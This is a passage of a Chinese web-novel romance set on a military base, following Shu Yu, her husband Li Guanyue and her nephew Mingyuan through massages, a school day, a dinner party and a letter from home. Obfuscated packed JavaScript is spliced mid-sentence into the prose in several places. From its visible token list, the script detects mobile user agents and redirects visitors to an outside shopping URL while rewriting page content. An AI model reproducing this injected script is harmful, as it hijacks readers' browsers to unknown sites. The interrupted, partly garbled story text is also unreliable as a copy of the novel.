一时间,厉关岳竟然觉得画上的的自己有些陌生,也许是那线条勾勒出的他的眼神太过温柔。 她眼中的他,竟是这样的吗? 只是这画上她穿的衣服,是不是有点…… 咳…… 厉关岳移开眼。 他轻轻晃着舒瑜的肩膀:“舒瑜,醒醒,吃饭了。” 舒瑜正睡得不知天地为何物,猛地被人叫醒,脑子还混沌着,她迷迷糊糊呓语了几声,慢慢睁开眼,面前一个模糊又高大的身影,吓得她心头一跳。 直到看清是谁,那颗猛然提起的心才渐渐落回去。 “五哥,”她松了口气,带着刚醒的沙哑和嗔怪,“你吓我一跳。” 说着,她手比脑子快,以迅雷不及掩耳之势合上旁边的画本,一把塞回床头柜里,还偷偷瞥了厉关岳一眼,心里懊恼。 回头她一定要把那个深V改了。 厉关岳假装没看见:“抱歉,可以吃饭了。” 舒瑜撑着床沿慢吞吞爬起来,睡了一觉,腿还是酸软着,站起来时腿肚子直打颤。 她不稳地晃了一下,厉关岳连忙伸手扶住她胳膊,微微皱眉:“怎么了?” 舒瑜苦着脸:“五哥,我的腿要死掉了。” 厉关岳:? 舒瑜解释道:“昨天骑自行车去县城,今早起来就这样了,腿好疼啊。” 厉关岳对舒瑜的脆皮程度又有了更深的了解,他失笑,扶稳她:“我扶你过去。” 晚上,舒瑜精神亢奋,一点睡意都没有。 厉关岳迟迟没回房间,舒瑜正疑惑着,就见他提着一个木桶推门进来,桶口还不断冒上热气。 “过来泡脚。”厉关岳把木桶放在床边。 舒瑜:“啊?” 她坐在床沿,一只脚踩着拖鞋,另一只脚试探着往桶里伸,脚尖绷紧,点到水面,水的温度刚刚好,冒着热气却不过分烫。 “烫吗?”厉关岳问。 “还可以。” “那你先泡一会儿。”厉关岳在一旁坐下。 舒瑜白皙的双脚没入水中,厉关岳垂着眼,视线聚焦处不知是水面还是哪里。 温热的水包裹到小腿,舒瑜舒服得轻轻叹了声气。 其实厉关岳给舒瑜烧水泡脚,不单单是因为她腿酸。 今天中午在食堂,厉关岳遇上了胡嫂子,胡嫂子是赵师长的夫人,在军区医院当护士长,他想到舒瑜的身体状况,便主动询问该怎么给她养身体。 胡嫂子是一直看着厉关岳从十八岁的桀骜小伙子到今天的成熟可靠,前两年也跟着赵师长为他不肯想看对象而着急。 如今,看厉关岳这样关心自己的媳妇,她是欣慰又心安,细细地跟他说了不少。 红枣红糖水常喝着补气血,平时注意保暖,晚上最好天天泡脚,能驱寒。 厉关岳谢过胡嫂子,把话一一记在心里。 他给家里去了信,让母亲寄些红糖红枣来,想了下,他又提起舒瑜喜欢画画,麻烦她买些画画的工具。 刚和舒瑜结婚时,他也给家里写了信告知,只是家在首都距离远,信他们应该是收到了,只是回信还没到。 舒瑜正惬意地眯着眼睛享受,她酸胀的小腿好受许多,舒服得她昏昏欲睡。 厉关岳记着时间,大概过了十五分钟,他起身出去,回来时手里拿了块新毛巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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厉关岳垂着眼,睫毛在眼底投下一小片阴影,挡住了里面翻涌的思绪。 他的手没有停,顺着小腿,一下又一下只是力道好像重了些。 舒瑜有点受不了,想让他停下来,又想让他继续,两种念头在脑子里打架,最终她只是捂住自己下半张脸,不去看他。 终于,两双腿都按完了。 厉关岳松开手,站起身。 舒瑜躺在床上,脸涨得通红,连脖子都染上了粉色,她放松下来,细细喘气。 厉关岳低头看着她。 几秒后,他开口:“睡吧。” 舒瑜慢慢翻了个身,背对着他,脸埋进枕头里。 身后传来轻微的响动,是厉关岳躺下的声音。 灯灭了,屋里陷入黑暗。 舒瑜翻身,仰面躺着,良久,身边人的呼吸声规律而绵长,她慢慢扭头,在黑暗中描摹他的轮廓。 32. 第三十二章 许是厉关岳按摩过的原因,没两天舒瑜就好了。 腿不酸了,人也精神了,她抓紧时间把明淮的书包收了尾。 军绿色的书包做得板板正正,针脚细密,背带也缝得结实,舒瑜翻来覆去检查了几遍,非常满意。 前一天晚上,厉关岳回来,说明淮上学的手续都办好了,明天就能去学校。 舒明淮一听,肉眼可见地高兴起来,随即又有些忐忑,他知道上学要跟很对小朋友一起,可他们要是不喜欢他怎么办。 舒瑜:“明淮,瞧我给你准备了什么。”她拿出书包,舒明淮一下子瞪大眼睛,他接过,爱不释手:“谢谢小姑。”带着压不住的欢喜。 第二天一早,舒瑜牵着舒明淮出门。 刚走到院子门口,就碰见隔壁吴小铃送孩子出来。 她家老大魏子杰也在子弟小学上学,平时都是和同学结伴走去学校。 “妹子,送孩子上学啊?”吴小铃一眼注意到背着书包的舒明淮,笑着招呼,“子杰,叫舒婶子。” 魏子杰是个虎头虎脑的男孩,大大方方地叫了声:“舒婶子好。” 舒瑜笑着点头:“魏子杰小同志,你好啊。”又对吴小铃道,“明淮第一天上学,我送送他。” 吴小铃热心地问:“你熟悉路不?要不让我家子杰一起,路上多个伴。” 舒瑜摆摆手:“认路的,让孩子跟朋友一起走吧。”她瞧着不远处有个小孩在招手,魏子杰眼睛都一下子亮起来,站都站不住了。 “谢谢婶子!”魏子杰喊了一声,呲溜一下就跑走了,留下一句“妈,我走了!” 吴小铃笑骂:“这倒霉孩子。” 舒瑜笑着挥挥手,牵着舒明淮继续往前走。 路上,舒明淮安安静静的,小手紧紧攥着。 舒瑜低头,忽然想起在老家的那些日子,他们也是这样手牵手,走在坑坑洼洼的土路上。 “明淮,怎么了?”她问。 舒明淮犹豫了一下,还是说了实话:“小姑,要是其他人不喜欢我怎么办?” 他第一次去学校,跟谁都不认识,以前村里的孩子谁都不喜欢他。 舒瑜停下脚步,蹲下来,平视着他。 “很简单啊。”她看着他的眼睛,认真道,“有人喜欢你,你就和他们玩,有人不喜欢你,那也不是你的问题,你只要做好自己。” “遇到事情,可以告诉老师,回来告诉我和你厉叔叔,但是不准憋在心里,好不好?” 舒明淮点头,他一向听话。 舒瑜笑了笑,又道:“还有,小姑在你书包里放了几颗糖,要是遇到想一起玩的朋友,可以分给他们吃。” 舒明淮听了这些,他心里的忐忑散了大半,用力点头:“嗯!” 走到学校门口,已经有不少孩子往里面走,一个戴着眼镜的略年长的老师站在门口,手里拿着个本子,正看着来来往往的学生。 他目光在人群中一扫,落在舒明淮身上,又低头仔细看了眼手里的资料,走上前来。 “是舒明淮家长吗?” 舒瑜点点头:“是的,老师您好。” 他扶了扶眼镜,露出一丝笑:“我姓徐,是这里的语文老师,舒明淮小同学分在我班上。” 舒瑜忙道:“徐老师好,明淮,叫徐老师。” 舒明淮仰起头,乖乖叫了声:“徐老师好。” 徐老师点点头,打量了舒明淮两眼,见他虽然瘦小些,但眼神清亮,站得笔直,衣着简单朴素却干净整洁,心里便有了几分好感。 舒瑜:“麻烦徐老师了,我们家明淮刚来,还需要您多多费心。” 徐老师摆摆手:“应该的,孩子交给我们,家长放心。”他低头对舒明淮道,“走吧,老师带你进去。” 舒明淮回头看了舒瑜一眼。 舒瑜朝他笑着,挥挥手。 舒明淮便跟着徐老师,一步一步走进了校门。 …… “唉……” 舒瑜坐在窗边,看外面毛毛无忧无虑地在院子里踱步,又叹了口气,总觉得缺点什么,一个人在家还挺不得劲的。 她打起精神,提着把小锄头去院里拔草。 野草长得疯,她蹲下一簇一簇地拔,拔下来的草就堆在毛毛窝边,毛毛呆了一下,随即扑腾着翅膀跑过去,埋头享用起这天降美食。 舒瑜干一会儿歇一会儿,慢慢地也理出了大半块地,今日份运动量块超标了,她准备弄完这一小块就收工,剩下的明天再说。 她伸手去拔一簇长得高大细密的草,草叶子边缘锋利,她没注意,用力一扯—— “嘶!” 手心一阵刺痛,她捂住手,一道口子横在掌心,不深但范围不小,鲜红的血很快渗出来,顺着指缝往下流。 舒瑜忍着疼站起身,伤口沾了泥土,她小心地用清水冲了冲周围,又拿块干净毛巾按住。过了好一会儿,血才勉强止住。 她白着脸,苦中作乐地想:还好是左手。 下午快到舒明淮放学时间,舒瑜算着时间出了门,到学校门口时,正好赶上放学。 她站在门口等了一会儿,就看见舒明淮背着书包从里头出来,旁边还跟了个板寸头的小男生,比他高出半个头。 那男生走几步就揽一下舒明淮的脖子,不知说了什么,舒明淮脸上也带了笑。 舒瑜有些意外,随即笑起来,招招手:“明淮!” 舒明淮抬头看见她,小跑过来:“小姑!” 那板寸头男生也跟了过来,大大方方地看着舒瑜。 “这是你小姑啊?”他问舒明淮,又转向舒瑜,声音响亮,“小姑好,我叫赵应松,是明淮的同学!”他跟着舒明淮叫。 舒瑜笑着点头:“赵应松同学好。” 赵应松也不见外,跟着他们一起往家属院走,一路上叽叽喳喳的,说明淮今天写字写得快,说他们课间一起玩了什么。 舒明淮在一旁听着,偶尔插一句,脸上的笑没断过。 到了家属院门口,赵应松挥挥手跑了。 舒瑜看着他的背影,心头松快,为明淮交到了好朋友。 傍晚,舒明淮趴在桌上写作业。 等厉关岳回来吃了晚饭,今天有梅干菜扣肉,舒瑜喜欢拿来拌饭。 厉关岳放下筷子:“手怎么了?” 舒瑜一顿,抬起手给他看,伤口露出粉粉的肉,有些吓人,她苦着脸:“拔草割伤了。” 厉关岳皱眉,抓过她的左手,就着灯光仔细看了看,伤口不深,但范围不小,边缘有些红肿。 他看了一会儿,松开手,起身往外走。 “我出去一趟。” 舒瑜愣住:“……好。” 没一会儿,厉关岳回来,手里拿着纱布和药水,他在舒瑜身边坐下,把那道伤口又处理了一遍,然后一圈一圈缠上纱布。 “别碰水。”他说。 舒瑜点点头,点到一半忽然停住。 她今晚本来打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318089|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗头的,上一次是两天前,这下不知道要什么时候才能洗。 舒瑜脸上纠结。 厉关岳抬眼:“怎么了?” 舒瑜叹口气,嘟囔道:“本来要烧水洗头的……” 厉关岳沉默了一下。 舒瑜刚想说不洗了,还是避免伤口感染要紧。 “我帮你。” 舒瑜傻眼,她抬眼看他,刚巧与他对视。 “啊?”她眨眨眼,“你帮我洗头?”她受宠若惊地重复。 舒瑜不知道该不该拒绝,在现代她去理发店就有点受不了理发师给她洗头,一碰她就浑身不自在。 但要是厉关岳给她洗…… 舒瑜偷偷瞥一眼,想说那麻烦你了,又觉得这话说出来怪怪的。 她张了张嘴,最后只憋出一个字:“哦。” 晚点,厉关岳去厨房烧了热水,提了半桶到前院,又兑好凉水,伸手试了试温度。 舒明淮躲在门后,看厉叔叔给小姑洗头,他撅了撅嘴,他也可以给小姑洗头。 他洗过的,还给小姑梳过头,可现在,好像轮不到他干了。 舒明淮看了一会儿,有点不开心地跑回房,翻了会连环画,又高兴起来。 “可以了。” 舒瑜慢吞吞站起来,走到院子里,前面摆着热水,厉关岳示意舒瑜在小板凳上坐下,舒瑜忽然有些迈不开腿。 舒瑜硬着头皮走过去坐下,她背对着门口,低着头,只听见身后的脚步声靠近,然后是窸窸窣窣的声响。 “低头。” 舒瑜顺从地低下头,温热的水从头顶淋下来,她微微缩了一下。 厉关岳的手指穿过她的头发,拨开发丝,让水能浸透每一处,动作很慢,很轻。 舒瑜垂着眼,注视着地上的水洼,她能感觉到他的手指在她上方移动,指腹带着薄茧,时不时蹭过头皮,带起一阵细微的酥痒。 舒瑜只觉后腰一阵发麻,浑身起了起皮疙瘩。 热水冲了一会儿,他挤了洗发膏。 从发顶开始,一点一点揉搓。 他的手顺着她的头发往下,揉到耳后,指腹擦过那一小块皮肤,舒瑜一颤,脖子瞬间僵住。 厉关岳动作一滞,没说话,继续往下。 泡沫越揉越多,舒瑜闭着眼,觉得浑身又酥又软,整个人像是泡在温水里,迷迷糊糊的。 不知过了多久,他的声音从上方传来:“闭上眼睛。” 冲干净泡沫,一条干毛巾盖在她头上。 舒瑜抬手想接,却被他避开了。 “别动。” 厉关岳站在她身后,隔着毛巾轻轻揉着她的头发,一下一下,慢慢把水分吸干,好一会儿,他把毛巾移开,用手拢了拢她湿漉漉的发尾,似有意又似无意。 舒瑜低着头,在他看不见的角度,耳朵已经红透了。 舒瑜用力闭了下眼,猛地起身,差点撞上厉关岳:“谢谢你,我、我回屋了。” 厉关岳低头看她,舒瑜看不懂他的目光。 她呼吸一顿,只觉得空气忽然变得稀薄。 她看见他喉结动了动,只听他温吞的声音传来:“好。” 然后他往后退了半步,让出门口。 “等头发干了再睡。”他说。 舒瑜逃回房间,细喘着气坐在床边,觉得自己急着离开的姿态有些狼狈。 啊啊啊,她到底在慌什么? 可恶。 舒瑜捂住脸。 33. 第三十三章 睡前,厉关岳擦着头发进来,在床边坐下。 “明天晚上,团里几个战友过来吃饭。”他说,“一团的,还有以前卫华五团的老战友,让他们见见明淮。” 舒瑜正缩在被子里,闻言探出脑袋:“来多少人?” “十来个吧,有几个娶了媳妇会带家属。” “我请食堂师傅帮忙做饭菜,到时候带回来。”厉关岳说,“魏刚两口子也来,你们熟,不用紧张。” 舒瑜点点头:“行,那钱和票你自己拿哦。”她心里盘算着明天要准备什么,桌子应该不够,得问吴姐借一张。 第二天一早,舒瑜送完明淮上学,回来就去问了吴姐。 吴小铃:“厉团长和我们说了,桌子你尽管拿去用,凳子碗筷啥的咱各家都会自己带。” 舒瑜:“谢谢吴姐。” 吴小铃摆手:“谢啥。” 中午歇下来,也没什么事干,连“做衣服大业”都因为手受伤了干不了。 舒瑜翻开画本,最近一张画就是厉关岳的半生像。 那天她睡着了被他撞见,她又懊恼又紧张,但见厉关岳没什么反应,舒瑜安心下来。 他应该没看见。 她后来悄悄把画拿出来欣赏,越看越觉得那领口开得过分。 太露骨,太不正经了! 舒瑜小脸一红。 她惋惜地擦掉,把衣服改成厉关岳最常穿的军装,严严实实地包裹住。 只是这军装似乎比现实的小了一码,若隐若现地勾勒出了男人紧绷的肌肉。 死手,别画那么细。 舒瑜:不行,手有自己的想法。 这天,厉关岳回来得早。 “五哥。”她叫住他,递过去画,“送你的。” 厉关岳低头一看,蓦地愣住。 画上的人穿着一身军装,嘴角带着若有若无的笑意,领口扣得严实,非常正经端庄的样子。 他端详一阵,抬眼看向舒瑜。 舒瑜被看得有些莫名,解释道:“谢谢你昨晚帮我洗头。” 厉关岳没说话,只笑,带着舒瑜看不懂的意味。 “谢谢。”他小心收好画。 傍晚,客人陆续到了,院子里热闹起来。 魏刚两口子最先来,吴小铃拎着两把凳子,进门就帮着舒瑜摆菜。 舒瑜感激,这桌子都是借他们家的,吴姐还特意早来帮忙。 “客气啥。”吴小铃笑容爽朗,“你第一次招呼这么多人,我帮你看着点。” 一团的政委和底下的副团长、营长都到了,有的带着媳妇。 五团的人也来了几个,都是当年和舒卫华共事过的战友。 舒瑜穿着一件素净的纯蓝上衣,头发用头绳简单扎起来,露出光洁的额头,她在人群里穿梭,招呼客人,脸上带着笑,话不多,却很周到。 几个副团和营长媳妇凑在一块儿,说话时目光时不时往她身上瞟。 “厉团长这媳妇,长得可真俊。”一个圆脸的媳妇压低声音,“那皮肤白啊,眼睛也大,真水灵啊。” 旁边瘦高个儿的女人点点头,语气里带着点酸溜溜的羡慕:“可不是嘛,难怪厉团长这么多年不找,原来是眼光高啊。” “就是瘦了点。”另一个年纪大些的嫂子接话,偷偷打量着舒瑜的背影,“那胳膊细的,风一吹就要倒,连饭都不会做,还得厉团长天天去食堂打饭。” “人家厉团长乐意呗。”圆脸女人笑了笑,“你没看刚才,厉团长那眼睛总往他媳妇身上瞟,我瞧着,疼得很。” “不是说厉团长取舒营长妹子都是为了孩子吗?” “别是说闲话的人心里头酸呢!”大家笑起来,任谁亲眼看了这两口子,都不会那么想。 五团那边几个老战友坐在一起,正围着舒明淮说话。 舒明淮站在那儿,被几个大男人轮流摸脑袋,也不躲,只是抿着嘴笑,很乖巧。 “卫华这小子,要是在天有灵,看见自己儿子这样,也该放心了。”鬓角花白的五团程团长叹了口气,眼眶有些红。 旁边几个人跟着点头,自然而然地忆起往昔,七嘴八舌说起当年的事,谁和卫华一起出过任务,谁被他帮过忙,他们都还记得他笑起来露出一口白牙的样子。 舒明淮安安静静地听着,一字一句都记在了心里。 大家入座。 食堂师傅做的菜分量足,红烧肉、炖鸡、炒鸡蛋,摆满了两张桌子。 正忙活着,一道声音忽然响起:“哟,这鹅真不错,啥时候宰了吃啊?” 舒瑜循声望去,说话的是个四十来岁的男人,五团那边的一个营长,姓张。 他正看着院子里踱步的毛毛,脸上带着笑,却让看着不太舒服。 舒明淮脸一白,下意识跑过去抱住毛毛的脖子,大声道:“毛毛是我的朋友,不会吃它!” 张营长像是被逗乐了,哈哈大笑起来:“跟鹅交朋友啊?”他环顾四周,似乎在寻求认同,“小孩子就是小孩子,鹅不就是要吃的吗?” 旁边几个人跟着笑了几声,但笑得很敷衍,转开话题道:“行了行了,坐下吃饭吧。” 舒明淮眼眶渐渐通红,死死咬着嘴唇,不让眼泪掉下来。 毛毛似乎感觉到什么,它伸长脖子,翅膀一扑,作势要朝张营长冲过去。 舒明淮一把抱住它,拖着它往院子里走,边走边小声说:“毛毛,别过去,他是坏人。” 舒瑜站在桌边,看着明淮抱着鹅走开的背影,面色冷了下来。 她以前就听说过,有些大人就喜欢杀了孩子养的宠物,甚至还瞒着让孩子吃掉,来彰显自己那点可怜的权威,没想到今天让她碰上了。 舒瑜走过去要安抚舒明淮,舒明淮一见她,委屈道:“小姑,不吃毛毛。” 舒瑜温声说:“我们当然不会吃它,毛毛是我们家的一份子呀。” 舒明淮情绪好转,跟着来到一团那一桌,吴姐坐在这,厉关岳好像跟着魏团长去隔壁拿什么东西了。 不一会儿,厉关岳拎着条凳子递给李成,原来是李成还没娶媳妇,平时就住宿舍,也没合适的凳子带过来。 李成不好意思道:“谢谢团长。” 老魏则提着自家儿子的后领子回来:“这臭小子,在外面玩疯了才回来。” 席间,厉关岳给舒瑜和舒明淮各加了块红烧肉,舒瑜朝他一笑,夹起来和着饭吃掉。 几个嫂子对视几眼,心照不宣地笑起来。 舒瑜突然起身,厉关岳跟着要站起来,被舒瑜按下。 厉关岳:“怎么了?” 舒瑜给他一个眼神,她笑着走到五团那一桌。 “张营长,”她声音温温柔柔的,脸上带笑,“多吃点,刚听你说,你特别想吃我家养的鹅?” “真不好意思啊,是不是肉不够吃?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这也是张传家看不惯舒卫华的原因,他比舒卫华年纪大不少,却一直被他压着,领导也更看重舒卫华。 张传家见了舒卫华儿子,一时间想起过去,便没忍住话头。 可事实上,即使没有舒卫华,他的事业也已经到头了。 舒瑜笑意盈盈地走了。 饭吃到尾声,客人们陆续告辞。 舒瑜和厉关岳站在门口送人,说着客气话,舒明淮站在旁边,已经恢复平静。 张营长脸色不太好看,他低着头,步子迈得有些快,急着离开。 就在他踏出院门的一刹那一道白影以迅雷不及掩耳之势冲了过去,长长的脖子一伸,狠狠拧在他屁股上。 “哎呦!”张营长惨叫一声,整个人往前一个踉跄,差点没摔倒。 舒瑜惊叫道:“毛毛,别乱咬!” “脏死了!” 毛毛松开嘴,大摇大摆地踱回院子里,回头望张传家一眼,它“嘎”了一声,得意洋洋。 张传家脸都涨成猪肝色,屁股很痛,他想捂又觉得丢人,狼狈地离开了,后面还没走的几个人忍不住笑出声,又赶紧憋回去。 厉关岳还不了解事情经过,却知道一定是张传家惹到舒瑜,她才会针对他。 晚上,舒瑜把事情告诉厉关岳,她气哼哼道:“怎么会有这种人?” 说完,她又假惺惺地问:“五哥,我这样会不会得罪人啊?” 厉关岳看着她装模作样,没忍住笑意。 “得罪了又如何?”厉关岳淡淡道,虽然他掩饰得很好,舒瑜却还是听出了他话里的傲气与对那人的不屑。 34. 第三十四章 这天傍晚,厉关岳回来时,手里拿着一封信,还拎着一个大包裹。 厉关岳把包裹递给舒瑜:“我妈寄来的,拆开看看。” 舒瑜打开包裹,麦乳精、红糖、香皂,还有几块好布料,都是现在难得的东西。 厉关岳坐在桌边,信封已经拆开,他垂着眼,面无表情地看着手里的信纸。 他的神色和平时不太一样,还是那张脸,可周身的气场像是换了个人,冷硬得有些陌生。 舒瑜扭头刚要说话,看清他的脸,一时没敢出声。 他捏着信纸的手指收紧着,脸侧的线条也绷紧些许。 信不长,她站在几步开外,隐约能看见信纸上半页字,厉关岳看完,把信纸放在桌上,没动,也没说话。 屋里安静得有些压抑。 她犹豫了一下,还是走过去,小心翼翼地问:“五哥,婆婆寄了那么多东西,我们要不要也寄点什么回去?” 厉关岳抬眼看了看她,缓下神色:“没事,我上回寄了钱回去,让娘帮忙买些画材,剩下的她收着用。” 舒瑜“哦”了一声,又不知道该说什么了。 她站在那儿,目光落在桌上的信纸上,信纸摊开着。 舒瑜抬起头,看着厉关岳,鬼使神差地问了一句:“五哥,这信我可以看吗?” 厉关岳愣了一下,随即面色柔和下来,那层冷硬的气场像冰雪消融,恢复了她熟悉的模样。 “当然可以。”他把信纸递给她。 “你性子别太硬,对媳妇要和软些,别像在家时那样……” “三年没回来了,你爹总念叨你,别和他置气了,有空带媳妇回来看看……” “你哥也忙,只每周来看我们一回。” 看到这,舒瑜有些惊讶:“你还有个哥哥呢?” 她从没听他说过。 厉关岳“嗯”了一声,没有多说的意思。 舒瑜心里有些纳闷。 婆婆信里叮嘱他脾气要和软些,别太硬,可她觉得厉关岳脾气挺好的呀,温温和和的,对人也有耐心。 这要算硬,那什么样才算软? 要她说,厉关岳这样正正好,太软了,还不得被人欺负? 厉关岳盯着舒瑜看信的脸,舒瑜注意到,纳闷地问:“怎么了?”她抬手抚了下脸。 厉关岳是意识到自己失态了。 他把自己和家里的僵硬气氛,带到他们的家里来了。 舒瑜是他的妻子,一个正常的家庭,少不了要和丈夫的家里人打交道,他总不能让她担心,或者尴尬。 他得处理好这些。 至少,不能让她觉得,嫁给他就要面对这些糟心事。 他在心里盘算着,什么时候得带她回去一趟,就算再怎么样,也得让舒瑜见见他父母。 一个正常的家是这样的,她会安心。 “五哥,我觉得你很好,不用改。” 舒瑜笑吟吟道。 厉关岳眼色微闪,良久,他冲她勾唇一笑,带着些许肆意姿态,目光一寸寸划过她的面庞。 “嗯。” 天气渐渐热了。 舒瑜赶了几天工,给自己做了条裙子,用的料子是婆婆寄来的。 她穿着浅黄色的连衣裙,像初夏刚开的小花,腰线掐得纤细流畅,裙摆从腰往下渐渐放开,到小腿那儿微微散开,走起来轻轻晃动。 舒瑜从屋里出来,厉关岳送了明淮去学校,回来就蹲在院子里翻土。 “五哥。”她叫了一声。 厉关岳回头,目光落在她身上。 舒瑜走到他面前,原地转了一圈,裙摆随着她的动作轻轻扬起,浅黄色的花瓣慢慢绽开又收拢。 她问:“好看吗?”带着点小得意。 “好看。”他说。 舒瑜抿着唇笑,又转了一圈,裙摆荡起来,轻轻擦过他的小腿。 炫耀够了,舒瑜笑呵呵道:“我把裙子换掉来帮你。” 厉关岳叫住她:“不用,快弄完了。” 舒瑜便搬了个小凳,坐在家门口晒太阳,偶尔看他一眼。 厉关岳挽着袖子,蹲在地上,前倾忙碌的姿势使他腰间的衬衫布料绷紧。 舒瑜托着腮,正美滋滋欣赏着,耳边忽然传来一阵嗡嗡声。 她抬头,一只黄黑相间的小东西正围着她打转。 蜜蜂! 舒瑜脑子里“嗡”的一声,她小时候被蛰过,额头肿了好几天,从那以后她什么昆虫都不怕,就怕这小小的蜜蜂。 “啊——”舒瑜尖叫,手臂挥舞,可小蜜蜂就是围着她打转,她从凳子上跳起来,撒腿就往厉关岳那边跑。 厉关岳听见声音,猛地站起身,回头就看见舒瑜一脸惊慌地冲过来,裙边在风里飘扬。 “有蜜蜂追我!”她躲到他身后,两只手死死抱住他的腰,把脸埋在他背上,整个人都在发抖,“快把它赶走!” 厉关岳一看,果然有只小蜜蜂,正围着舒瑜飞着,她那条浅黄色的裙子在阳光下格外显眼又明亮,估计被这糊涂的小家伙看成花蕊了。 他抬起手,眼疾手快地一挥。 蜜蜂被劲风刮得晕头转向地在空中晃了两圈,终于摇摇晃晃地飞走了。 厉关岳:“它走了。” 舒瑜还抱着他的腰,脸埋在他背上,不肯动。 厉关岳的腰被两只手紧紧拢着,他笑笑:“真的走了。” 舒瑜这才慢慢探出脑袋,四下张望了一圈,确认那只蜜蜂不见了,她长长地松了口气。 厉关岳胸口起伏几下,闷出几声笑。 下一秒,舒瑜便触电似的松开手,退后一步,脸颊泛红。 “那个,谢谢五哥。” 说罢,她不去看他,气哼哼地跑回家里。 那是嘲笑吧? 可恶,竟敢嘲笑她! 舒瑜的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340288|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都透着一股生气的味道,厉关岳摸摸鼻子,怪他一下子没忍住。 他把剩下的地翻完,又给刚种下的向日葵浇了水,这才拍拍手上的土,推门进屋。 屋里,缝纫机正“嗒嗒嗒”地响着。 舒瑜坐在缝纫机前,背对着他,脊背挺得邦邦直,脚一下一下踩着踏板,手下的布料正飞快地向前移动。 浅黄色的裙子已经被她拆得七零八落。 裙摆不见了,上身也变了形,桌上堆着一堆剪下来的碎布,她手边已经叠好了一件小小的背心。 还有几朵用碎布做成的小花,黄色的,软软的,很可爱,散在桌面上。 舒瑜听见动静,回头幽幽瞥了他一眼,又转回去继续踩缝纫机。 “院子弄好了?”她声音很低。 厉关岳“嗯”了一声,走近几步,看着她手下的活计。 舒瑜踩完最后几针,停下脚,拿起那件刚做好的小背心,抖了抖,放在桌上。 厉关岳问:“这是给明淮的?”他提起小背心,比了比大小,他们家只有明淮穿得下。 舒瑜冲他一笑:“放心,你也有。”说着,她展开手里的布料。 “过些天热了,穿这个正合适。” 厉关岳沉默了。 “这颜色,”他斟酌着开口,“好像不太适合我们,要不还是你自己……” “谁说男的就不能穿黄色了?”舒瑜打断他,“我看挺合适的。” 厉关岳又沉默了。 舒瑜仰着头,脸上写满“你敢说不合适试试”,厉关岳默默把话咽了回去。 “花朵都给明淮吧,我就不用了。” 舒瑜盯着他几秒。 “行吧。”她点大人有大量,放他一马。 傍晚,舒明淮和赵应松一起走回家属院,两人在门口分了手,舒明淮蹦蹦跳跳地推门进来。 “小姑,我回来啦!” 舒瑜正坐在桌边,听见动静,朝他招招手:“明淮,过来,小姑给你做了件背心,你试试。” 舒明淮走过去,接过那件叠得整整齐齐的小背心展开。 背心前襟上还缝着两朵小花,软软的,摸起来很舒服,可是,这个颜色,是他们班女同学才穿的。 舒明淮抬头,正好和厉关岳对上视线,厉关岳站在旁边,表情有些微妙。 “别看你厉叔叔了,”舒瑜愉悦的声音传来,“他也有一样的。” “你们这是亲子装呢,呵呵呵。” 一样的? 舒明淮看看自己手里带花的小背心,他想象了一下厉叔叔穿着同样带花背心的模样,小脸有些僵硬。 “谢谢小姑。”他老老实实地收下了。 舒瑜终于忍不住“扑哧”地笑出声。 “哈哈哈,这背心可以当睡衣穿。”她摆摆手,“又不是让你们穿出去。” 舒明淮松了口气。 厉关岳也松了口气。 35. 第三十五章 收到厉关岳家里的来信已经过去好几天了。 厉关岳把信收进抽屉里,再没提起过,也没有回信的意思,舒瑜便也把这事抛到脑后,每天该做什么做什么。 这天晚上,两人躺在床上,灯已经灭了,舒瑜迷迷糊糊正要睡着,身旁忽然传来厉关岳的声音。 “舒瑜。” 她眼皮沉重,只含糊地应了一声:“嗯?” “明天我要出任务。”厉关岳的声音在黑暗里模模糊糊得有些不真切,“最少要半个月才回来。” 舒瑜的睡意一下子散了大半,她睁开眼,翻了个身,面朝他那边,黑漆漆的也看不清他的脸,只能隐约感觉到他也侧过头来,目光落到她身上。 “什么任务?”她话一出口便觉得自己问了句废话,部队的事哪里能随便说。 果然厉关岳没回答,只是沉默了一下。 舒瑜也不追问,只是应了一声:“哦。” 屋里又安静下来,过了片刻,厉关岳有道:“我不在的时候,你照顾好自己,别省钱,红糖鸡蛋多煮着吃。” “还有,每天晚上记得泡脚,水热一点,泡到身上暖和了再睡。” 舒瑜听着,心里像被什么东西一点一点塞满,软绵绵的,有些发胀。 “五哥。”舒瑜把脸埋进枕头里,声音又低又闷。 “我知道了,你也要注意安全,我和明淮在家等你回来。” 她面前安静了几秒,然后传来一声很轻的“嗯”。 舒瑜闭着眼,感觉到身边的被子微微动了动,像是他靠了过来。 她只感觉男人的气息近了些,近到他说话时带起的气流似乎拂过了她的头发。 “别担心。”他缓声说。 这是她第一次经历他要出任务、长久不在家,厉关岳怕她不安,便有心安抚。 